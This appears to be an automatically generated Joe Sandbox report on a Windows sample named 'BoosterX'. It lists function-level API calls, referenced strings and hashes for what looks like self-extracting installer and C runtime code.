Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharConcurrency::cancel_current_taskMultiWide_snwprintf
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 3629253777-3268106645
Opcode ID: 9426cd898b9218b2b25dcf31cc706f89de0b1c10041d7f527c3fd8ab1e9ee5ae
Instruction ID: 2ba037f394a27334eec50bee73582e2b6d6417c7f21937a0c58efbb0fcf1a3a8
Opcode Fuzzy Hash: 9426cd898b9218b2b25dcf31cc706f89de0b1c10041d7f527c3fd8ab1e9ee5ae
Instruction Fuzzy Hash: 1962BC22A19B83A5EB10DF28C4482BD23A5FB45789F805132DA9EC77D5EF3DE945C740

Function 00007FF6C0381880 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6C03814D8: DloadProtectSection.DELAYIMP ref: 00007FF6C0381549

RaiseException.KERNEL32 ref: 00007FF6C0381927
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF6C0381913

Part of subcall function 00007FF6C03817E8: DloadProtectSection.DELAYIMP ref: 00007FF6C0381847

LoadLibraryExA.KERNELBASE ref: 00007FF6C03819C6
GetLastError.KERNEL32 ref: 00007FF6C03819D4
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF6C0381A06
RaiseException.KERNEL32 ref: 00007FF6C0381A1A

Strings

H, xrefs: 00007FF6C03818F4

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: DloadSection$AccessExceptionProtectRaiseReleaseWrite$ErrorLastLibraryLoad
String ID: H
API String ID: 3432403771-2852464175
Opcode ID: c747dab0563719ebcac82db4dc8ab060d8be692e48dcdd0dd925af41b53a7671
Instruction ID: a1468e630065cc1cda865ee037cc4ba97b51f23d1fd821adfe7e9f3a3b5aff46
Opcode Fuzzy Hash: c747dab0563719ebcac82db4dc8ab060d8be692e48dcdd0dd925af41b53a7671
Instruction Fuzzy Hash: C2914A22A15B13AAEB54CF65D8446AC33A9FB08B8AF454636DE8DD7754EF3CE445C300

Function 00007FF6C037F460 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32 ref: 00007FF6C037F6C7
ShowWindow.USER32 ref: 00007FF6C037F706
GetExitCodeProcess.KERNEL32 ref: 00007FF6C037F73D
CloseHandle.KERNEL32 ref: 00007FF6C037F767
ShowWindow.USER32 ref: 00007FF6C037F7BF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037F87B

Strings

Install, xrefs: 00007FF6C037F604
.exe, xrefs: 00007FF6C037F772
p, xrefs: 00007FF6C037F4A9
.inf, xrefs: 00007FF6C037F5F5

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_invalid_parameter_noinfo_noreturn
String ID: .exe$.inf$Install$p
API String ID: 1054546013-3607691742
Opcode ID: 98f894956b22e91467c786fab3bb2a7ad0780f0785066d173f3d7dba5a37177a
Instruction ID: 40b19459d15f230cebbf0ed87b7aabdb6576dc03983c57adec1e65d372e347f9
Opcode Fuzzy Hash: 98f894956b22e91467c786fab3bb2a7ad0780f0785066d173f3d7dba5a37177a
Instruction Fuzzy Hash: D5C17B62F08A53A9FB14CF29DA4427923A1BF85B86F045535CA8DC7BA5DF3CE551C300

Function 00007FF6C037F024 Relevance: 16.6, APIs: 11, Instructions: 102
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6C037AD9C: PeekMessageW.USER32 ref: 00007FF6C037ADB2
Part of subcall function 00007FF6C037AD9C: GetMessageW.USER32 ref: 00007FF6C037ADC9
Part of subcall function 00007FF6C037AD9C: IsDialogMessageW.USER32 ref: 00007FF6C037ADE0
Part of subcall function 00007FF6C037AD9C: TranslateMessage.USER32 ref: 00007FF6C037ADEF
Part of subcall function 00007FF6C037AD9C: DispatchMessageW.USER32 ref: 00007FF6C037ADFA

GetDlgItem.USER32 ref: 00007FF6C037F063
ShowWindow.USER32 ref: 00007FF6C037F089
SendMessageW.USER32 ref: 00007FF6C037F09E
SendMessageW.USER32 ref: 00007FF6C037F0B6
SendMessageW.USER32 ref: 00007FF6C037F0D7
SendMessageW.USER32 ref: 00007FF6C037F0F3
SendMessageW.USER32 ref: 00007FF6C037F136
SendMessageW.USER32 ref: 00007FF6C037F154
SendMessageW.USER32 ref: 00007FF6C037F168
SendMessageW.USER32 ref: 00007FF6C037F192
SendMessageW.USER32 ref: 00007FF6C037F1AA

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID:
API String ID: 3569833718-0
Opcode ID: 7d379054cb94ea220feff0600702c1a3525b366c45d8dc990373b330b6eb2c2b
Instruction ID: 418c493e6f742c122c425f19ee54058554f9a3393abc939233c4776504fa3379
Opcode Fuzzy Hash: 7d379054cb94ea220feff0600702c1a3525b366c45d8dc990373b330b6eb2c2b
Instruction Fuzzy Hash: BD41DE25B14A43AAF7008F69E814BAA23A0EB89B9EF441135DD8EC7B95CF3DE4458740

Function 00007FF6C036B970 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddressForCaller.KERNELBASE ref: 00007FF6C036B9CE
GetProcAddress.KERNEL32 ref: 00007FF6C036B9E9
GetCurrentProcessId.KERNEL32 ref: 00007FF6C036BA86

Part of subcall function 00007FF6C036DF4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF6C036DD5B

Strings

CryptProtectMemory, xrefs: 00007FF6C036B9C4
CryptProtectMemory failed, xrefs: 00007FF6C036BA3C
CryptUnprotectMemory, xrefs: 00007FF6C036B9DB
CryptUnprotectMemory failed, xrefs: 00007FF6C036BA7D
Crypt32.dll, xrefs: 00007FF6C036B9AC

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 76993cb25b15c21bbb9ba85500eed42f79ef62b9df03f1df33b6944fdfd5394b
Instruction ID: d6d17fdaf12f484f752ad1c12fa8618abb0646ae17a6ffb8921b9c45ae3373b4
Opcode Fuzzy Hash: 76993cb25b15c21bbb9ba85500eed42f79ef62b9df03f1df33b6944fdfd5394b
Instruction Fuzzy Hash: EA314824A09A43B1FA14CF56E85417927A0FF49B96F051136CDCEC37A0EF7CE6858B44

Function 00007FF6C035EF20 Relevance: 11.0, APIs: 7, Instructions: 453COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035F552
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035F558
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035F564
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035F56A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035F570
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035F57C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C035F582

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 310a567e1b0cdd217b1bc7ae60d0b9563787d76a53dbdd708a46cc85320c2f81
Instruction ID: d120765f6cc22e434e31143b87ead6786598abd429e62df59c8607c2f6a327fc
Opcode Fuzzy Hash: 310a567e1b0cdd217b1bc7ae60d0b9563787d76a53dbdd708a46cc85320c2f81
Instruction Fuzzy Hash: E0129066B08B43A9EA10DF65D4442AD3372AB457A9F500232DE9CD7BEADF3CE585C340

Function 00007FF6C0362480 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF6C036255B
GetLastError.KERNEL32 ref: 00007FF6C036256E
CreateFileW.KERNEL32 ref: 00007FF6C03625CE
GetLastError.KERNEL32 ref: 00007FF6C03625D7
SetFileTime.KERNEL32 ref: 00007FF6C0362689
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C03626F6

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: File$CreateErrorLast$Time_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3536497005-0
Opcode ID: 0eb7fe8ef4f4561f9daaefcb571c72f3411a72b64bfc3ca10e0d2da5fc9e6a2c
Instruction ID: 2f3c7e4383bf0eaef934d3febce9c2f04de1211899d3aeebacfa6d6bb32176c7
Opcode Fuzzy Hash: 0eb7fe8ef4f4561f9daaefcb571c72f3411a72b64bfc3ca10e0d2da5fc9e6a2c
Instruction Fuzzy Hash: 3C61D276A08A8296E7208F29E4003AE67A1B7857A9F101324DFEDC3BD4DF7DD0548744

Function 00007FF6C037FC8C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNEL32 ref: 00007FF6C037FCC3
SetEnvironmentVariableW.KERNELBASE ref: 00007FF6C037FD3C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C037FD9B

Strings

sfxpar, xrefs: 00007FF6C037FD35
sfxcmd, xrefs: 00007FF6C037FCBC

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: EnvironmentVariable$_invalid_parameter_noinfo_noreturn
String ID: sfxcmd$sfxpar
API String ID: 3540648995-3493335439
Opcode ID: 00e990ce53ad4bb77229a3bc1c9449996c970d45aeb73b3f170da1ca566d15b8
Instruction ID: 7f8e44470c02af5e478f1bd349c54f86d4fe816c745d99009353df3431bb8c29
Opcode Fuzzy Hash: 00e990ce53ad4bb77229a3bc1c9449996c970d45aeb73b3f170da1ca566d15b8
Instruction Fuzzy Hash: A3318D32E14A17A8EB04CF69E8851AC2371FB48B99F140136DE9DD7BA9CF38D181C344

Function 00007FF6C037AF94 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 00007FF6C037AFAA
GetObjectW.GDI32 ref: 00007FF6C037AFDB
DeleteObject.GDI32 ref: 00007FF6C037B015
DeleteObject.GDI32 ref: 00007FF6C037B045

Part of subcall function 00007FF6C03785A4: FindResourceExW.KERNELBASE ref: 00007FF6C03785BD
Part of subcall function 00007FF6C03785A4: SizeofResource.KERNEL32 ref: 00007FF6C03785D9
Part of subcall function 00007FF6C03785A4: LoadResource.KERNEL32 ref: 00007FF6C03785F3
Part of subcall function 00007FF6C03785A4: LockResource.KERNEL32 ref: 00007FF6C0378605
Part of subcall function 00007FF6C03785A4: GlobalAlloc.KERNELBASE ref: 00007FF6C0378626
Part of subcall function 00007FF6C03785A4: GlobalLock.KERNEL32 ref: 00007FF6C037863B
Part of subcall function 00007FF6C03785A4: CreateStreamOnHGlobal.COMBASE ref: 00007FF6C0378668
Part of subcall function 00007FF6C03785A4: GdipAlloc.GDIPLUS ref: 00007FF6C037867E
Part of subcall function 00007FF6C03785A4: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF6C03786E9
Part of subcall function 00007FF6C03785A4: GlobalUnlock.KERNEL32 ref: 00007FF6C037870C
Part of subcall function 00007FF6C03785A4: GlobalFree.KERNEL32 ref: 00007FF6C0378715

Strings

], xrefs: 00007FF6C037AFE3

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Global$Resource$Object$AllocBitmapCreateDeleteGdipLoadLock$FindFreeFromSizeofStreamUnlock
String ID: ]
API String ID: 3561356813-3352871620
Opcode ID: c6bf9e19450fbf4cc7b28015e62d6f04fdd2e3c624e8f0d9c6f2b4e6ab7b0bdc
Instruction ID: f62f4d5ae1b706c02aa08932f8b30f7c34bf52f225c1e16191e264a00bfd60cf
Opcode Fuzzy Hash: c6bf9e19450fbf4cc7b28015e62d6f04fdd2e3c624e8f0d9c6f2b4e6ab7b0bdc
Instruction Fuzzy Hash: 28118921B0D643D1FA649F5A97543795291AF89BD6F080034DD9DC7BD5DF7CE8048A00

Function 00007FF6C037AD9C Relevance: 7.5, APIs: 5, Instructions: 27
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF6C037ADB2
GetMessageW.USER32 ref: 00007FF6C037ADC9
IsDialogMessageW.USER32 ref: 00007FF6C037ADE0
TranslateMessage.USER32 ref: 00007FF6C037ADEF
DispatchMessageW.USER32 ref: 00007FF6C037ADFA

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 48dfac8e33024647184e1a60fb39053494a02480d92f3e69543185b5e5c85bfd
Instruction ID: e3ddd8fb059d2879a33c2980d187b27be210b708872bb24e64d6a1886af7798c
Opcode Fuzzy Hash: 48dfac8e33024647184e1a60fb39053494a02480d92f3e69543185b5e5c85bfd
Instruction Fuzzy Hash: 83F0EC25A38953A2FB609F28E895A762265FFD070AF905431E58EC1A94DF3CD108CB00

Function 00007FF6C0379168 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32 ref: 00007FF6C0379191
SHAutoComplete.SHLWAPI ref: 00007FF6C03791D5

Part of subcall function 00007FF6C0371344: CompareStringW.KERNEL32 ref: 00007FF6C0371363

FindWindowExW.USER32 ref: 00007FF6C03791BF

Strings

EDIT, xrefs: 00007FF6C037919B, 00007FF6C03791B3

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 3006384394de3d7d6335ffca3663b2ae555a506821308572bdb38291f1b12f27
Instruction ID: c1b454e9a1fc8c1fa46544e6b8b7868d97a7eda04d7380af6890835675e7a089
Opcode Fuzzy Hash: 3006384394de3d7d6335ffca3663b2ae555a506821308572bdb38291f1b12f27
Instruction Fuzzy Hash: CA018121B08A43A1FA209F29F8157B66394AF99746F840132CD8EC6795DF3CD149C640

Function 00007FF6C0362CA0 Relevance: 6.1, APIs: 4, Instructions: 136fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(00007FF6C0368C5A), ref: 00007FF6C0362CE2
WriteFile.KERNEL32 ref: 00007FF6C0362D2C
WriteFile.KERNELBASE ref: 00007FF6C0362D5A

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: c8c518eed565a04f9cf962580e303a423e678b4aba21c9ba139e0a597fc40599
Instruction ID: ed812d31465adc4af887a32dcbca9dc79f1f7b700c45529b03e743efb92b4397
Opcode Fuzzy Hash: c8c518eed565a04f9cf962580e303a423e678b4aba21c9ba139e0a597fc40599
Instruction Fuzzy Hash: C751D362A19A43A2EA10CF24D4447BA6360FF85B96F450132EF8EC6BA4DF7CE585C704

Function 00007FF6C0380360 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF6C03804D6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0380541
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C0380547
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C038054D

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$TextWindow
String ID:
API String ID: 2912839123-0
Opcode ID: dbe46ff790c20b89912a0fdaa554b5e2640218e7059209ab3c025edf3ca2331f
Instruction ID: 47cda9a0dedd55f4ddc6a9fce855363da8d97eaab6f4fd5b07fa4a941dae6ae8
Opcode Fuzzy Hash: dbe46ff790c20b89912a0fdaa554b5e2640218e7059209ab3c025edf3ca2331f
Instruction Fuzzy Hash: C3518C62F28A53A4FA009FA5D8492AD2322AF45BA5F500737DA9CD7BE6DF6CD540C310

Function 00007FF6C0382CEC Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6C0382CFB

Part of subcall function 00007FF6C038277C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6C038279E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6C0382D10
__scrt_release_startup_lock.LIBCMT ref: 00007FF6C0382D7E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6C0382DD1

Memory Dump Source

Source File: 00000004.00000002.1673676265.00007FF6C0351000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6C0350000, based on PE: true

Associated: 00000004.00000002.1673652881.00007FF6C0350000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03AB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1673763008.00007FF6C03B4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1674968214.00007FF6C03BE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6c0350000_BoosterX.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: ac8e0d61ad9562805f3f0f4ceccdbb6567ef63bb883097c4bc40aa5993711c11
Instruction ID: c4c38bf8b7586b8303e3b1cd336a65be94b13014ad90e45e27d75e90e458b4ca
Opcode Fuzzy Hash: ac8e0d61ad9562805f3f0f4ceccdbb6567ef63bb883097c4bc40aa5993711c11
Instruction Fuzzy Hash: D4313A21E0C50366FA54AF65D4113BA1291AF81386F5446B7EACECB3E3DF2CB5088209

Function 00007FF6C03622E0 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

